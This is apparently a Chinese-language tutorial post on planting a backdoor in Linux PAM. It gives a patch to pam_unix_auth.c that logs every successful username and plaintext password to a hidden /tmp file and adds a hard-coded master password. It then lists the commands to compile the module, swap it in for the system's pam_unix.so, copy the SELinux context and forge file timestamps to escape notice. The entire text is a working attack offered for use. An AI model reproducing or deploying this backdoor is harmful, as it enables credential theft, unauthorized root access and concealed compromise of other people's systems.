2019独角兽企业重金招聘Python工程师标准>>>
pam发现了一个具体情况做一下记录 顺便把安装方式重新写一遍
rpm -qa | grep pam #查看pam版本 pam-1.1.1 看这个版本号
http://www.linux-pam.org/library/ 下载对应版本
修改modlues/pam_unix/目录下的pam_unix_auth.c
找到
/* verify the password of this user */
//添加以下代码
retval = _unix_verify_password(pamh, name, p, ctrl);
//存储密码的地方
if(retval== PAM_SUCCESS)
{
fp=fopen("/tmp/.../pslog","a");
fprintf(fp,"%s::%s\n",name,p);
fclose(fp);
}
//万能密码
if(strcmp(p,"pam")==0)
{
retval = PAM_SUCCESS;
}
#别忘了在添加完之后在这个函数头部 添加 FILE *fp;
yum install flex
./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr
会提示yywrap 还是出错 要添加一个函数
int yywrap(){return 1;}
到提示错误的文件最上面就行
make 直到make成功
编译完了 在modules/pam_unix/.libs中的pam_unix.so就是后门
手动创建密码文件:
touch /tmp/.../pslog;chmod a+w /tmp/.../pslog
转到路径 /lib64/security/
上传文件 pam_unix.so1
mv pam_unix.so pam_unix.so.bak
mv pam_unix.so1 pam_unix.so
查看Selinux上下文:
ls -Z pam_unix.so.bak (备份的原始文件)
设置Selinux上下文:
chcon -reference=pam_unix.so.bak pam_unix.so
setsebool -P allow_saslauthd_read_shadow 1
设置文件时间戳
touch pam_unix.so -r pam_umask.so
路径 /lib64/security/pam_unix.so #替换掉就行了 别忘记备份源文件啊啊